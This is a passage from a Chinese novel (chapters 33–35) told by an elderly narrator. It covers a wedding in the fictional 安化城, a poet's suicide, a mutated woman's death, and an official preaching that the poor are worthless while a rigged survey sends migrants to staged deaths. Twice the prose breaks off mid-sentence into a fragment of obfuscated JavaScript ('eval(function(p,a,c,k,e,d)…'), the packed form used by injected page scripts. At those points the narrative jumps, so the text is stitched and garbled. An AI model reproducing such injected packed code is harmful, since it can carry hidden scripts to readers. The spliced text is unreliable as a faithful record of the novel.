我在无数的重复里和无数的人发生交集,我有时唤她们母亲,有时唤她们姐妹,有时唤他们兄弟。我知道自己是一个走马观花的游历者,于是从来没有认真地审视自己与他们的联系,或者说,从来都在克制自己与他们发生联系。因为一旦发生联系,就会产生羁绊。 有了羁绊,就会有情感。 临近末尾了,我必须要坦白承认:我害怕这种羁绊,我更害怕产生情感。因为羁绊就意味着要承担破裂,而拥有情感就意味着要承受离别和抛弃。我强调过许多次了,我非常清楚自己是一个极其懦弱的人,我承受不了破裂、离别与抛弃。因为承受不了,所以索性什么都不开始。 没有希望就不会失望。 我慢吞吞地躺进墓地的怀抱里。阳光炽烈,我眼前一片朦胧。良久,我听见有饭的声音从耳边传来。我再一次与他重逢。 「爸爸,你怎么忽然这样老了。」 「有饭,你怎么依然如此年轻。」 「爸爸,我最近新读了许多的书,我读了资治通鉴和荷马史诗。我真喜欢它们呀。」 「有饭,最近有吃饱吗?有好好睡觉吗?」 「有的有的,爸爸你放心。」 「那就最好了。读书虽然是好的,但却不是最要紧的,身体一定要顾好。」 「嗯,我知道的。」 「有饭……对不起。如果当年爸爸没有同意带你去改名字,如果那些男生女生送信到家里来,我对你的严厉限制,如果当年爸爸去医院接你……」 「爸爸,没关系的,那些都是我必然要经历的,我现在生活得很好,你别担心。」 「可是……可是……」 太阳落山了。 我睁开眼睛,有饭已经离开了。我在月亮的照耀下嚎啕大哭。 我非常明白,刚才的一切,都是出于我的个人幻想。可是我不能抑制,我不能抑制这虚妄的念头,我控制不了自己。 月亮明晃晃地照耀着墓地。 远远的,一个小小的身影,提着黄澄澄的手电沿蜿蜒的小路走上来。 是古秀梅。 与我的衰老截然相反的,她日渐年轻起来。 真好,她又来接我回家了。 我没有告诉龙四,他想要的超能力,古秀梅就有。无论我藏在哪里,古秀梅总能在当天把我找到,并带我回家。 如果不是因为我们已经八十五岁了,我真想冲过去再向她表白一次,然后钻进她怀里再也不出来。 33. 屿青 教堂的草地上铺满金黄的小米,零星洒着板栗、花生、红枣和豌豆。在这宛若丰收季节的食物堆里,整齐排列着许多张椅子。而在椅子的最前方是一个圆圆的露天舞台,舞台背后的屏风上挂满了玉米、辣椒、苹果、银杏叶、石楠花和桑葚酒。一切看起来都像是某一个正经历丰收的农庄的庆典,其身后寂寞的教堂就是一位慈祥的观众。 神会寂寞吗? 凡人无从知晓。 随着婚礼进行曲的响起,这才看清那椅子上坐着的正是安化城的居民。 何曼珠和柳常清成双出现,庄立春和梁露则搂着孩子,在小牛的陪同下也来到现场。龙四自然也没有缺席,管红军和玫瑰作为教堂的主人,当然是要坐在主位的。除此之外,安化城几乎所有人都来到了现场。至今我仍无从得知小莲和南山他们两个人究竟有怎样的魔力,可以令整个安化城倾巢而出。 我甚至怀疑在场的人,是不约而同预见了安化城以及整个世界的覆灭,所以他们排除万难,携家带口来到了这属于人类的最后的盛典。 在今日,一个人类的男性和一个人类的女性,因为彼此深深相爱结合在一起。 他们情比金坚、诺如磐石。 一切还要回溯到,怪婴从安化城消失的时候。研究所解散,南山被安排回安化医院,他本就处处受排挤,自然诸如夜间值班的苦差事便悉数落到了他的头上。怪婴在娃娃的武器攻击下,再不能出生。这也意味着医院的新生儿急剧下降,产房里几乎空空荡荡。没有婴儿,自然也就没有不安分的丈夫们。 而小莲的生命力之旺盛,此前已经陈述过。 深夜的护士台,她独自一人浑身发烫,却没有人来帮她消解。某天,她终于忍耐不住,推开南山休息室的房门。 南山正懵懵懂懂地睡着,只觉得有人咬住了自己的舌头。南山于迷糊中失了身,大汗之后的小莲合衣便走,倒令南山心意波澜起来。 隔天,南山照例在休息室躺着,却辗转难以入睡,直到又是半夜,小莲再次将滚烫的身体缠绕上来。南山窃喜非常,他乖顺地一切都依着她折腾。模糊的月色下,他望着她迷人的影子,陷入爱情。 小莲心满意足后,依然要走,南山鼓起勇气拉住她,温柔地问: 「你明天还来么?」 「如果我想,就来。」 「只要你来,我随时等你。」 小莲没再言语便走了。 南山握着残留有她气息的被子,心跳如鼓。 这种夜色里的关系,维持了数月。南山提出想邀请小莲看话剧,小莲点头应下。 安化城的话剧院门前,检票的人已经排成长队。南山一手紧紧握着票据,另一只手捧着大束鲜花。他站在队伍中,始终侧身望向街的尽头,神情既期待又紧张。 终于,小莲从街尾出现了,只见她穿着一身丁香紫的连衣裙,在人来人往的街道上奔跑,像只顽皮的精灵。 小莲跑到跟前,一边大口喘气,一边道歉:「对不起,我来迟了。」 「没事,只要来了就不晚,而且检票还没到咱们呢。」 南山将鲜花送上。 小莲接过,却并没有表现出明显的开心。 「你不喜欢?」 「鲜花虽然好看,但也容易衰败,转瞬即逝如同烟花。将它用在爱情里虽然绚丽,但也贴切,毕竟爱情也是瞬息万变的东西。你送我这些,必然也是只图一时美丽的人,这让我如何开心呢。」 「没有,我不是这样的意思,小莲。我只是以为女孩子们都会喜欢好看的东西,所以就想送给你,我没想过玩弄感情。」 「没关系,我不介意的。朝三暮四、喜新厌旧是人之本性,我自己便是这样,所以我自然懂得这道理。方才我的话并非是在责怪你,只是你问我为何没表现出开心,我就回答罢了,你也不必多想。」 「可是……」 正当南山要继续讲时,轮到了两人检票。 两人的座位在前排,宽阔的剧院大厅,当南山牵着小莲,经过长长的廊道来到位置时,犹如投石入湖,观众席瞬间激起一阵窸窸窣窣的议论。 「这不是那个小狐狸精护士嘛。」 「还有那个窝窝囊囊的矮医生。」 「这两人是怎么凑到一起的?」 「八成是这窝囊矮医生被小狐狸迷住了呗。」 「真不晓得安化医院为什么要留她这么个破鞋东西。」 「懂了吧?那院长、副院长、主任,哪个不是男的。免费的,谁不想要?」 「要我说呀,这些院长夫人也是真能忍,要我早就把这狐狸精的舌头给拔了。」 这是女人们的议论。 坐在她们旁边的男人却有着不一样的心理活动。 「真是便宜了这矮矬的小子。」 「我老婆要是有这小护士一半的滋味就好了。」 「小莲也真是越来越不挑了,这男人跟我比可差远了。」 「我得找个机会再去医院住两天才行。」 小莲从余光里读到了每一个人的声音和眼神,而南山似乎毫无察觉,他始终紧紧攥着小莲的手,哪怕坐进位置里也不肯松开。 剧演结束后,医院里南山的日子越发艰难起来。 医院里不乏小莲的前任们,他们中要么是趾高气昂的庄立春,要么是技不如人的小马,而被抛弃的他们,在独自度过了许多个寂寞夜晚后,竟得知自己是被一直踩在脚底的南山打败的。他们如同封建社会里后宫失宠的妃子,不敢向皇上小莲发难,而只能迁怒于妃子南山。 南山在医院越来越被孤立,冷嘲热讽的话语、针尖麦芒的眼神更是家常便饭,不止日常工作,学术科研上也被处处针对和限制。他有几次被人恶意锁在器械室,为的就是让他错过与小莲的云雨之约。 接受过最高等教育的人,尚且能如此卑劣。而本该是救死扶伤、高尚平等的地方,如今却成了欲望和恶念的温床。 对小莲而言,身体是工具,是欲望,而绝不与爱或者尊严相关联。 她走进院长的办公室,将门反锁,条件是院长不许再继续纵容众人欺侮南山。老好人院长再次尝到了甜头,爽快答应。 但毋庸置疑,小莲是爱南山的。因为这是她唯一一次愿意将这具身体当做工具使用,从前都是出于她的个人欲望。而这唯一的例外就是为了南山。 这实在不能不称之为真爱。 至于为何南山在她这里与旁人不同,其一是因为只有南山从未在与她□□的过程中和她提条件或者将其视为低等的玩物;其二自然是因为她和南山在安化医院都属于边缘群体。而对于小莲而言,第一个原因显然是更为重要的。 而南山喜欢小莲则是再正常不过的事情了。像他这类自小被打压、性格沉闷的青年,最是对这种热烈剽悍的女子毫无招架之力。 我就是一个明目张胆的例子。 只是古秀梅与小莲不同的是,小莲的热烈与彪悍全部都体现在□□上,而古秀梅的热烈彪悍却体现在她的理想与人格上。 我与南山虽然都是软弱之流,却也是不尽相同的货色。我自以为比他还是要稍强一些的。毕竟我总不至于任人排挤受尽打压,还忍气吞声。我虽然软弱,但背地里的肮脏手段我还是有许多的。 只不过作为本书的主角,我必须要保持自己的正面性。一个对世间所有正道邪念都一视同仁、冷漠处之的人,怎么可能是一个良善之辈?一个绝对善良、刚正不阿的人,往往是活不长久的。自人类诞生以来,这个星球每天每时每分都在发生肮脏的丑恶,信奉真善美的人,面对这些丑恶的真实,早在二十几岁就都郁结而终了。 屿青就是这类人。 他是我曾经的一位诗人朋友,他喜欢看海,喜欢春天,喜欢阳光,喜欢鲜花。他生活的时代,是一个工业制造不很发达的时代。那时的火车还是慢悠悠的,街道上人们除了两条腿走路,便是骑自行车。可供人们进行的娱乐消遣也不多,在这方面倒是和思想开放之前的安化厂有几分相似,电影院、剧院、舞厅、图书馆。 他出生在铁道旁的一座小房子里。出生时父亲便早亡,母亲独立支撑抚养他。这里又令我忽然想到在人类的生命长河中,养育的过程,似乎父亲总是经常缺位的角色。所以我一直认为人类世界应该为所有的女性立庙丰碑,如果不是她们坚韧不拔、牺牲奉献,人类怕是早早就灭亡了。仔细想想,如果把一个新出生的孩子直接交到父亲的手上,全权让他来抚养,怕是和直接送这个孩子自生自灭没什么区别。可是,人类往往却不感念母亲的付出,他们在宏大的叙事上歌颂母亲,却在日常的生活中将其视作召之即来、挥之即去的琐事保姆。用时甜言蜜语,不用时,唾之如敝履。女人的天赋当中,总是有一项以德报怨的伟大品格。如果她们皆是那种斤斤计较、睚眦必报的性格,恐怕她们的基因早已经将生育这项能力给改良掉了。屿青,这是他为自己取的名字,意为岛屿青年。 屿青在少年时便展露出惊人的文学天赋。他七岁写诗,十岁登报,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我平静地为其解答:「要知道并非所有人都有你这样的天赋异禀,大多数人想要活下来,就必须解决吃饭喝水的问题,需要有一间房子一张床用来睡觉。而无论是饭还是水,抑或房子还是床,都是需要钱财去购买的,不工作哪里又来的钱财呢?」 「一人一天不过二斤饭、一斤水,床也不过两米宽,房子能盛下床不也就足够了,何苦辛苦到这种地步。」 「你讲的那仅仅是生存,但生活并非这样。旁人去吃龙虾牛排,你想不想尝呢?旁人去住大房子,你想不想住呢?旁人喝果汁饮啤酒,若你只喝白水,心中难免会生出羡慕。他们只是想追求更体面的生活而已。如今这个社会的残忍之处就在于,它看似给了你饿不死的基础保障,却也设置了普通人无法跨越的阶级鸿沟。就比如你在学校里的职务,一个小小的辅助□□,每个月领那几十块的薪水,你甘愿住在学校宿舍里,吃着简单的食堂,可并非所有人都有这样的怡然自得。」 「这样岂不是活成了欲望的傀儡?」 「□□本就是皮囊,你我本质上也只是欲望的傀儡,只是个体与个体的欲望不同而已,你的欲望是看书晒太阳,他们的欲望是山珍海味、名车名表。」 「可他们的欲望在残害这具□□,他们难道不自知吗?」 「自知又如何?自知不代表有选择。游戏规则是由上层人制定的,想要生活就必须得进入他们的游戏规则,无论这个规则是公平亦或是不公平,都得遵守。就像你的工资,是学校的规章制度根据你的等级早就确定好的,它不以你的意志发生增减。」 「可悲可叹。短短几年,人心怎么变成这样?」 「是啊,短短几年人心怎么可能变成这样?人心决不是这几年才变的,而是自古恒常。上层人的算计和贪婪从未变过,底层人的奴性与嫉妒也亘古如此。」 屿青继续上路。 他经过佛堂、学校、孤儿院、高级的大楼、石头平房、菜市场、农田、医院。他看到妇女因家中无米而哭泣,婴儿只能在田埂里玩耍,老人在医院的门口死去,孩子在教室里因没有白鞋子被罚站…… 他意识到自己奉为太阳的诗歌和文学理想,在现实的生活面前,一无是处。人们需要的是能填饱肚子的面包,而不是三两句缠绵悱恻的空话。他陷入深深的无力当中,他热爱且心疼世人,却两手空空,什么都改变不了,什么都拿不出。 四年后的某个微风习习的清晨,灰色的火车站台上,赶早的人们熙熙攘攘。人们忙着检票赶路、互相道别,不曾有人注意到,他正满脸忧郁地站在黄线之外,等待着火车的进站。 我的朋友叫林屿青,他是一位诗人,也是本体的我,一个没有宏观视角、还有悲天悯人之心的、天真的我。 他的身体被轰鸣的火车碾碎,而站台上的人们只为此唏嘘了几秒钟,便匆匆踏上火车,奔向各自灿烂的前程去了。 或许正如龙七所言,这些充斥着自私、嫉妒、贪婪、算计的人类根本不值得拯救。 34. 念秋 小莲的生命力在安化城不是秘密。不管过去还是现在,安化城对于红房子之外的女子们的欲望表达,向来是批判居多。所以当南山向小莲求婚时,她是震惊且逃避的。 「阿山,你可要想想清楚,安化城的男人女人是如何议论我你是知道的,和我结婚,城里的唾沫会将你淹死。是的,我们在一起是很快乐,但这不代表就非得结婚,我相信你的爱,你无需用一张法律凭据来为其证明。你有大好的前程和光明的未来,等将来你会遇见更好的女子,她会是温柔贤惠的好妻子,绝不像我这样,我并非是在自轻自贱,相反的,我从不认为自己有何过错,但这些风言流语,我内心强大有能力承受,你不一样。你承受的批判已经太多,如今刚刚修复,却又要深陷漩涡,我怕你承受不住。阿山,婚姻很好,你也很好,但我们还是别了。」 南山却执拗地不肯退缩:「是啊,小莲,我已经隐忍了太久太久,如果不是遇见你,我不会知道原来自己也可以是勇敢的、无畏的、坚如磐石的,请你相信,我绝非是为向你证明什么,更不是一时兴起,这是我深思熟虑之后的抉择,你从前怎样,结婚后依然可以怎样,我毫不介意,我想与你结婚,是因为我无法想象,将来的余生里没有你的生活,你说担心结婚后,我会被人唾弃,可是,在遇见你之前我的境地也并没有好过,可遇见了你,你的强大感染了我、也支撑了我,我开始可以昂首挺胸地走在医院的长廊上,我开始学会认同自己、接纳自己,这都是源于你啊,小莲,别抛弃我好吗……小莲,我再次诚挚地恳求你,请你成为我的妻子好吗?」 小莲再也找不到理由拒绝。 南山高调地向全城的人发出请帖。 接到请帖的人们有的是真心祝福,有的是看热闹,有的是鄙夷的,有的是愤怒与谩骂的。怒骂的自然就是南山的家族,他们也是唯一没有出席婚礼的。然而,南山根本不在乎。 时隔几年,当我再次在婚礼现场看到庄念秋时,陌生而又震惊。 她已经完全不似从前的温良体面,她坐在婚礼宾客席的第一排,作为南山的家人出现。风和日丽的天气里,蓝天青草白云,金黄的小米和多彩的教堂,唯独她,整个人从头顶到脚尖都是灰褐色,像一块包裹着人类衣服的工业橡胶。她看起来似乎已经不能端正地坐立,整个人是被挂在椅背上的,腰间还绑了一条红绸带,固定在椅子上,我猜是防止她滑落到小米堆里。她的出席,令人们震惊到甚至忘了去议论这门堪比风化新闻的婚礼,而将全部的目光和焦点都集中到了她身上。 也正是她的公开出现,让人们再次陷入对空气安全的恐慌里。 这也正是庄念秋的目的。这许多年,他和南山从未放弃研究,但毫无收获,唯一的获得便是她日益加深变异、极速衰老的身体。而庄念秋隐隐感觉到,自己的生命将尽,她想在最后为安化城重新敲响警钟。 我将座椅搬到她近旁,温暖的光晕萦绕在她枯萎的脸上,犹如回光返照,恍惚间,我隐约看到了庄嫂的影子。 「念秋,你母亲会为你感到骄傲的。」 她先是一愣,然后磕磕绊绊地转过半人半鬼的头,剃光头发的她,显得格外瘦削。她如同卧床的老庄般,眼珠凸出,每一块肌肉的调动都是极其缓慢的,她干裂的灰色嘴唇里,牙齿已经掉光了,发出的声音含混不清:「林……叔……对……不……起,有……饭,我……对……不……起……」两滴混浊的灰色液体,无尽缓慢地蹒跚走下她的脸颊,犹如两条涉过荒地的河流,是生命悲情的绝唱。 她以为我是不明真相的普通人,执拗地道歉里,藏着不能言说的深深的愧疚。有饭在诊所当晚的遭遇,她至死都以为是个只有她独自吞咽的秘密,并将其视为自己灵魂的污点。如果时间有可以重来的机会,唯一可以确定的,就是庄念秋一定会奋不顾身救下有饭,这是毋庸置疑的。 我学着人类那些慈祥的长辈,为她擦去泪水:「他从没有怪过你,我们都是。」 鞭炮、锣鼓、乐队、舞团,婚礼的盛景从白天持续到黑夜,安化城的人短暂忘却了彼此间的嫌隙与争执,在此情此景,他们宛如至亲密友般手挽手、肩并肩地在幸福的氛围里沉沦。我远远望着热闹的人群,觉得似曾相识,耳边忽然响起龙六的声音:「爷爷,欢迎来到欢愉城。」而就在我回头去寻时,却分明空无人烟。 「怎么了?」古秀梅问我。 我心中隐隐有了感应。「没什么,一阵风而已。」 龙六的生命终结在一场连续数月的大雨里。 离开安化厂时,我曾叮嘱过他,无论如何要关注天气,不要淋雨。他年轻体强,总以为这只是啰嗦的爷爷,多余的担忧,却忘了打小时起,他便是兄弟几人当中,最轻易住院的那个。 常年晴空的欢愉城,不知缘何开启一场暴雨,连绵数月而不停。那里的人们日夜纵欲,从不为饥寒做准备。漫长的雨季,漫涨的水流吞没城池,龙六的木头房子被洪水冲走,女人纷纷离他而去,到别的有房屋的男人那里了。他无力在暴雨中搭建新屋,只得躲在树上。冷水浸泡着他的双脚,很快他开始感到寒冷无比,进而是浑身变得滚烫。他开始发烧,并严重地咳嗽,他没有食物,也没有药。 从病发到他的身体被水流冲走,不过一夜。临终前,他再次回到自己最幸福的时刻:在老房子的阳台,和兄弟几人一起,在我粗劣制造的木桶发电装置里,咯咯咯地又蹦又跳。 教堂婚礼当夜,在极致的狂欢之外,庄念秋孤独地死在教堂的祷告台前。 她没有葬礼,作为哥哥的庄立春忙于照顾自己引以为豪的假儿子,甚至无暇去帮她办理死亡证明、销除户口。 南山遵从庄念秋的遗嘱,将她的遗体捐赠给医科大学继续做研究。 然而医科大学却并不想接这烫手山芋。 先是庄念秋以身入局,后是南山将过去对怪婴和空气质量的所有研究,都公之于众。他们意在唤起人们对空气安全的重视,但这无疑是在打市长何曼珠的脸,毕竟当初何曼珠对外可是宣称,她已经研发成功了治理空气的安全程序,怪婴也是因此消失。而形如怪物的庄念秋,却让人们开始怀疑空气或许并没有得到改善。 安化城又开始了新一轮的外迁浪潮,可逃离谈何容易,即便安化城放人,外城也未必愿意接。 庄念秋就这样被搁置在教堂的地下室。玫瑰特地购置了十台昂贵的冷气机,她不忍心将庄念秋塞进狭小的冷柜里,怕她在里面闷得喘不过气。可当次年仲夏来临,庄念秋还是不可避免地腐烂了,她像一颗干瘪、腐朽的苹果,没人愿意摘走。 南山和小莲最终决定,将她的重要器官做标本处理,留作后续研究使用,然后进行了遗体火化。 火化箱外,只站了她最亲近的几个人,南山、小莲、我、古秀梅、玫瑰。 将庄念秋下葬后回家的路上,星月铺路,我和古秀梅彼此搀扶,慢慢悠悠地走着。 她忽然问起:「我们两个会是谁先走呢?」 我知道答案,但不能告诉。「你希望呢?」 「你先,这样我还能过两年安生日子,不然总要为你这老东西操心许多,譬如早餐有没有吃啊、内裤有没有换啊、假牙有没有泡水里啊……你实在不晓得自己有多烦人。」 「那都是我故意的好吧,不然怎么引得你来唠叨我呢,您每天日理万机的大忙人,想见你一面,比古代草民见皇帝还难呢。」 「我可跟你讲哦,我死了如果要火化,你可一定要在我手腕绑条绳子攥在你的手里,万一到时我是被误判的、或是被烧疼得又活了过来,我怕自己叫天不应叫地不灵。林老头儿,我拉绳子你可得马上把我救出来。」 古秀梅有时候实在可爱得很。 「记得了记得了,我保准在家里先晾你个七天七夜,确保彻底断气之后再送进火化箱,而且我也一定会记得给你绑上绳子。」 我明知我俩都没有机会经历火化这道程序,但依然态度认真地哄她。 「那看来还是得我先走,不然你走了,到时我的绳子交给谁呢,对对对,还是我先走。」 我望着月光下的她,如同小孩子般自说自话,不觉间心生温柔。虽然此刻没有镜子让我看到自己的眼睛,但我知道那里面一定盛开了世间最柔软的满天星。 「好好好,你先走,等你火化以后啊,我就用你的骨灰做个骰子,平时用来告诉我决定不了的事情的答案。」 「好啊,林复生,你居然用我来占卜。」 「怎么能叫占卜呢,分明是咱俩之间的跨界交流嘛。」 「哼。」古秀梅颤巍巍地松开我的胳膊,快速向前几步,与我划清了界限。 我猝不及防地踉跄,险些摔倒,然后撑着拐杖去追。 虽然我看得到自己和古秀梅白头偕老的结局,但仍禁不住在每次她和我闹时,感到幸运。 古妙心拿着清晨刚出现在办公桌上的党内日报,找到黄豆豆。 她将头版版面铺在桌上。 「《资源危机之下的抉择应当慎之又慎》,龙七的这篇新文章你看了吗?」 「大致浏览了一遍。」 「这样的文章他怎么会通过审核的?什么叫必要时可以舍弃基层的利益;什么叫在日益严峻的形势下,无知的群体不值得被拯救,有限的资源应该被分配给能人之辈,做最大化利用;什么叫古往今来,那些无法创造优质社会价值的群体,只有一条路,那就是自生自灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄豆豆对古妙心质问的回应,不笨的人都能听出是假的,他知道龙七的心思已变,却选择了默许和包庇,归根到底,他认同龙七的观点。但实则不然,他很早就觉察到龙七生变,在这篇近乎直白的文章之前,龙七曾无数次用隐喻试水,黄豆豆心如明镜。但他是个温良恭俭的好书记,自从他上台,大搞改革推行思想的自由和开放,党同伐异的事情绝不可以出自他手。他得保证自己在历史册上的好名声。」 面对整个安化城的恐慌,何曼珠召开新闻发布会,会议上她表示安化城的空气质量绝对没有问题,并晒出了她所领导的研究院最新的空气质量检测数据。但她依然决定做一次民意调查。并根据普查的结果,凡是对安化城现如今的生存状况表示严重堪忧的民众,只要是想要离开的,何曼珠都会为其办理专门的快速通道,并联系愿意接收的城市。 此举一时间稳定住了她的权力。 浩浩荡荡的民意普查开始了,何曼珠将其视为自己的又一次个人形象的展示机会。为了避免民众不能畅所欲言,她特地开通了网上的匿名通道,并不遗余力地带领团队在安化公园分发调差问卷。烈日炎炎之下,她和市政的各级官员们,站在毫无遮挡的空地,始终面带微笑不停弯腰,谦逊有礼地将问卷递到群众的手中。新闻媒体更是全程跟拍,直播她深入群众、亲力亲为的场面。 群众也不是三岁小孩儿,自然知道她有作秀的成分,但常言道没有功劳也有苦劳。眼见她晒得脸色发白、满头大汗,原本就同为安化厂出身的人们,慢慢地都开始称赞起她的好来。 可是好归好,大家对于自己的生命安全还是很在意的,所以调查问卷的结果并不乐观。 但人们填写的结果并非是最终的。 网络匿名填写有一个弊端就是可操作空间太大。要知道安化城的网络全部依托于柳常清的公司,他坐在办公桌前轻易输入几行代码,民意调查的结果便被逆转。 而那些有意想要离开的,何曼珠很快兑现诺言。 刘爱华一家就在其中。独眼张乘风筝离开几年后,刘罐头和张海燕在周游世界的途中去世。在安化厂,刘爱华已经没有亲人,她紧急将自己的店盘了出去,房产也悉数变现。她原本想投靠自己在鹅城的姐姐,但快速通道选项有限,只得先离开再做打算。短短五天,一家人便劫后余生般兴高采烈地出了城。 正规的城市自然是不敢接纳他们的。而且何曼珠也不会冒险送他们进正规城市,因为连她自己也拿不准这些人将来是否会变成庄念秋那样。再有一个人发生变异,那她的晋升之路将就此断送。 所以像欢愉城、乌托邦城这样的编外城邦,以及一些荒凉的无名之地,就成了这些人被安排的处所。当刘爱华携家带口抵达新地时,目之所及大失所望,和她同行的居民们,纷纷开始折返往安化城回,可是,却没一个回来的。 柳常清给娃娃的指令是,不可以直接伤害任何人,但要制造意外杀死他们。于是,原以为逃出升天的人们,有的被突然掉落的石头砸死,有的被树枝穿喉,有的被受惊的猛兽咬去了头颅。由于是在编外城市,大多数人的死亡根本不被主流世界所知。留在安化城的,都以为他们已经去到空气新鲜的好地方,过上了想要的生活。 龙七那篇文章的影响已经逐渐显露。 35. 曼珠 除安化城外,其它城市也都开始频繁且大量出现居民外迁的事件,且无一例外都是迁往编外之地。古妙心觉察到事情并不简单,她暗中派人调查,发现许多迁出的人都凭空蒸发,或者意外身死。 「4127 例意外死亡,占到这些外迁群体的百分之九十以上,这个比例太不正常。」 古妙心拿着数据直接找到龙七。 文化局办公室里,龙七正在埋头编写新文章。 「稀客。」 「自从上次你那篇文章发表之后,短短几个月已经意外死了 4127 个外迁人。我觉得你非常有必要知道这件事情,甚至应该为此负责。」 龙七缓慢放下手中的笔,他松了松肩膀,将鼻梁上的银丝眼镜卸下。眼神轻落在古妙心手中的那份资料上,随即又移开。「你自己都讲了是意外死亡,全世界每个月意外死亡的人又何止区区 4000 个。难道我都要为他们负责吗?」 「你少装糊涂,我说的是外迁人群,在国家的档案上甚至连一笔记录都没有,他们就是你文章中说的无足轻重的普通人,不是吗?可是龙七我也要告诉你,你也是个普通人。你现在坐到这个位置上,是因为有我和老黄在保着你,可是一旦我要放弃你,你马上就得滚蛋。甚至只要我随便安一个罪名给你,你死得会比这份表单上的人还要快。」 「你们保我?那还不因为我足够有价值,有你们所难以企及的价值。」 「你未免太高估自己。我和老黄当初之所以认下你这个盟友,只是因为我们身处在这个阶层有些言论是不好宣之于口的,但你不一样。你出身普通、微不足道,就算真的惹怒了当局高层,一枚棋子而已,随时都可以舍弃。」 其实古妙心内心并不完全是这么想,但她当下必须要这样说,因为她想把龙七隐藏在暗处的恶给激出来。如今的龙七,俨然已是武侠小说里走火入魔的疯子,而她要看看,他究竟入魔到何种地步。 「舍弃?你们拿我做棋子?」龙七因终日不见太阳而惨白的脸上,皮笑肉不笑,「我果然没有看错,你们和那些道貌岸然的狗东西没什么分别。利用我?简直是痴心妄想。」 「痴心妄想吗?你睁开眼睛看看,现在坐在最高位置的那个人是谁?是他黄豆豆,又是谁身兼□□长和议会委员会两职?是我。我们就是靠利用你,利用你的文笔、你的思想,爬上了自己梦寐以求的位置,而你呢?你原本是想坐在哪儿呢?」 「我……」 「罢了,你想什么我根本不关心,因为,我想要你怎样才是最重要的。知道为什么你发这篇文章我会如此生气吗?因为我养的狗居然想着反咬我一口。」 「你们那些位置是老子根本不想坐好吗?但凡我争,以为就凭你们两个能赢得过我吗?若不是你们无耻地靠那肮脏的裙带关系一路攀附,怎么可能会高于我?你们就偷着庆幸去吧,庆幸自己生在那官政之家。」 「这裙带关系肮脏吗?恐怕不尽然,我分明从你话里听出了嫉妒和愤怒。龙七啊龙七,你这个人就是活得太拧巴,分明心里羡慕得要死,嘴上却硬得像封了水泥。况且你如果真的淡泊明志,就不会在去艺术大学时,龙四讲你平民入仕,你却毫不辩驳了。若我去告诉你那个势利眼的兄弟,你在文化局从来都是编外人员,连一张党内申请表都没拿到过,你说,他会怎么笑话你呢?」」 「古、妙、心。」龙七念得咬牙切齿,「我念在旧情,又看在你是个女子的份儿上,懒得与你计较太多,你不要得寸进尺。」 「试图威胁我?龙七,你搞搞清楚,这话更应该我对你说吧。另外从今天开始,我命令你退出党内报的编写,并且将来政府的一切新闻报刊,你都无需再参与编辑。但是你放心,我和老黄愿意养着你,给你一个闲职,比如门卫保安,保准你过得比你口中的那些普通人要好一些,总不至于饿死。」 「我不可能退出编辑,你做梦。你无权任免我!」 「龙七!我的耐心已经被你耗尽了。这话我既然敢说,就一定能做到。我这就让巡检员进来帮你收拾东西,你准备搬出这间办公室吧。」 「你敢!古妙心,老子受命于天地,神赋我权,你区区一介平民女流,凭什么处置我?你们的好出身,说来也不过是人间的出身,我同你们不一样。我龙七魂从天上来,日月星辰、江河山川皆可为我所用。我高风亮节,不屑于与你们凡人争权,你竟然这般忤逆羞辱于我,你实在是自不量力。」 古妙心猜得没错,龙七已然走火入魔。 如今的龙七已同过往形若两人。他在那间密室里误入迷途,如今的他视万物为刍狗,只以自己为世界的唯一高级文明。他参悟了极端的哲思,认为世人皆具有劣根性,世人皆不可拯救。但他又保持有现实的冷静,他明白如果这世上仅剩下他孤身一人,那构不成所谓的文明世界,所以他需要有人类存在来衬托他的高级。而他又实在无法接纳那些具有劣根性的低级人类,他将其存在视为对自然资源的浪费。尤其是在资源危机爆发之后,他这唯一的高级文明便陷入了深深的恐慌。他担忧自己的文明星球会因资源枯竭而灭亡,故而便开始明目张胆地宣传起底层人民无用论,不只是在政党之内,他在民间还有化名,不断在各种基层报刊投稿此类的言论。 而底层人的无知在这时就显露无疑。那些在他口中应该自生自灭的,竟然有部分成为了他的拥趸。他们成为龙七隔空的信徒,每日生活在深深的愧疚之中,他们日夜祷告,渴求能涤荡自己出身的原罪。 一场无差别的残暴大屠杀中,冷血的施暴者标榜自己是正义的使者,而面对屠刀落下的被害者,却陷入深深的忏悔。 「我一无是处,生来有罪,活着便是罪恶。」 「弱肉强食,丛林法则,我死有余辜。」 刀落身死,被屠杀的人竟面带感激,施暴者更是露出优等者的骄傲。 古妙心知道,龙七留不得了。 几天后,龙七变成一具沉默的、痴呆的身体,被昂贵的黑色轿车送回家里来。彼时的他已经全然不记得任何人,连最简单的吃饭、如厕、洗澡都需要人时刻照料。 古秀梅再次展现出她惊人的接受能力,龙七被抬下车的一瞬间,她就适应了这个异常安静的孙子。她像个与搬家公司打交道的房主,指挥青年们将龙七抬到了家中唯一的次卧的床上。我的儿子有饭曾死在这张床上,后来龙九、龙八都曾躺进那床里,如今是龙七。龙七是几人中身形最高大的,一米见宽两米渐长的单人床,被他显得像婴儿床般局促。 古秀梅从家中柜子里拿出几包糖果,那还是南山和小莲婚礼时送到家里来的,鎏金的包装纸上,烫着大红的囍字。古秀梅将这些糖果一包包挨个塞到那些青年手里,向他们道谢,并叮嘱他们回程慢些开,路上注意安全。 青年们刚走,古秀梅便开始蹬皮鞋、穿外套。 「下午我有个会,晚饭也不回来吃了,你和七崽儿自己好好在家哈,别乱跑,有事情给我打电话。」 恍惚间,我仿佛穿越时空,回到了有饭刚出生的那几年,古秀梅还在安化厂的思想监察处,我还是个接受改造的思想犯。那时候的古秀梅为了争取进议会,每天都是安化厂和议会审核处两头跑。 年轻的古秀梅,将乌黑的长发利落地梳理整齐,盘在脑后。她手臂和脸庞的皮肤都充满活力,她弯腰将脚挤进锃亮的小皮鞋,又起身套上干练的黑西装。她一边在镜子里最后确认自己的装扮,一边叮嘱我: 「我今天都有会,不能给你们带饭回来了,你带有饭去厂里吃吧,流感还没过,你别带他到处乱跑哈,有事情你就打人事处电话找许绣蓝,我不在办公室接不到。」 时间看似不留情面地匆匆向前走,却总在不经意间,流露出令人动容的温情。 